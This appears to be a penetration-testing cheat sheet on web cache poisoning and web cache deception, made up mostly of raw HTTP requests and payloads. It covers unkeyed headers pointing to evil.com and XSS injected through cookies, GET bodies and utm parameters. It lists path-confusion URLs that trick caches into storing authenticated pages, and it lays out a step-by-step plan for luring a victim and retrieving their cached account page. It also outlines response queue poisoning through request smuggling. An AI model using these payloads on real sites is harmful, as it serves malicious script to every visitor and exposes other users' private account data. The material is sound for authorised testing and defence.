# Find unkeyed inputs that are reflected in response
# X-Forwarded-Host (most common)
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# Response: <script src="//evil.com/static/main.js">
# Other unkeyed headers to test:
X-Forwarded-Scheme: http # force redirect to http
X-Forwarded-Proto: http
X-Original-URL: /admin
X-Rewrite-URL: /evil-path
X-Forwarded-Port: 1234
X-Forwarded-Prefix: /evil
# Cookie-based poisoning
GET /page HTTP/1.1
Cookie: lang=en</script><script>alert(1)</script>
# If cookie value reflected and response cached without cookie in cache key
# Vary header bypass
# If Vary: User-Agent, still try other unkeyed headers
# If Vary: Accept-Language, poison for the most common language
# Fat GET (body in GET request)
GET /page HTTP/1.1
Content-Type: application/x-www-form-urlencoded
param=<script>alert(1)</script>
# Some frameworks process GET body, cache ignores it# Add cache buster to test without affecting real users
GET /page?cachebuster=abc123 HTTP/1.1
X-Forwarded-Host: evil.com
# Port-based cache poisoning
GET / HTTP/1.1
Host: target.com:1234
# Cache key might not include port, but reflected in response
# Duplicate headers
GET / HTTP/1.1
Host: target.com
Host: evil.com# Cache normalizes path but origin doesn't (or vice versa)
/page?param=value # cached
/page?param=value%0d%0aX-Injected:header # different to origin, same to cache
# Case sensitivity differences
/Page vs /page # might be same cache key, different origin behavior
# Trick cache into storing authenticated response
# Cache thinks it's a static file, origin serves dynamic page
/my-account/a.js # cache stores as .js (static)
/my-account;a.js # semicolon path parameter (origin ignores .js)
/my-account%2fa.js # encoded slash
/my-account/.js # dotfile
/my-account%23/static/main.js # fragment injection
/my-account%3f.js # encoded ?
/settings/non-existent.css # 404 for static, still renders settings?
# Path traversal in cache vs origin
/css/labs.css%2f..%2f..%2f..%2fmy-account?x.css
/static/..%2f..%2fmy-account
/my-account%23%2f%2e%2e%2fresources?abc
# Extension-based rules
/my-account/anything.css
/my-account/anything.js
/my-account/anything.png
/my-account/anything.ico
/my-account/anything.svg
# Character treated as path delimiter by origin but not cache (or vice versa)
/my-account;x.js # ; is delimiter in Java/Tomcat
/my-account#x.js # # is fragment (browser strips, but server might not)
/my-account?x.js # ? starts query
/my-account%00x.js # null byte
1. Find authenticated endpoint that serves sensitive data (e.g., /my-account)
2. Append static extension: /my-account/x.css
3. If origin still returns account page but cache stores it as static
4. Send link to victim: https://target.com/my-account/x.css
5. Victim visits (their auth session serves their data, cache stores it)
6. Attacker visits same URL -> gets victim's cached account page
# Headers indicating cache:
X-Cache: HIT / MISS
CF-Cache-Status: HIT / MISS
Age: 300
X-Cache-Hits: 1
X-Served-By: cache-xxx
Vary: Accept-Encoding
Cache-Control: public, max-age=xxx
# Tools:
# Param Miner (Burp extension) - finds unkeyed inputs
# Web Cache Vulnerability Scanner
# Exploit connection reuse between cache/CDN and origin
# If you can desync the response queue (via request smuggling or CL.0):
# Victim's request gets YOUR response (or another user's response)
# See HTTP-Request-Smuggling.md -> Response Queue Poisoning
# Steps:
# 1. Find connection reuse between CDN/proxy and origin
# 2. Smuggle a complete request that generates an extra response
# 3. This extra response shifts the queue
# 4. Next legitimate request receives the shifted response
# 5. If that response gets cached -> all users get wrong content
# Some CDNs exclude certain query params from cache key
# utm_source, utm_medium, utm_campaign, fbclid, gclid, etc.
GET /page?utm_content=<script>alert(1)</script>
# If utm_content is reflected in page AND excluded from cache key:
# Response cached for /page (without the param in key)
# All visitors to /page get XSS
# Test by adding ?_=random and checking if response is still cached
# Use Param Miner to find unkeyed params automatically
# Target application-level caches (not CDN)
# Frameworks like Django, Rails may cache fragments or full pages
# Headers to test:
X-Original-URL: /admin # cached response for / shows /admin
X-Rewrite-URL: /evil
X-Forwarded-Prefix: /evil
# If cache key doesn't include these headers but app uses them for routing
Cache Deception Allows Cache Poisoning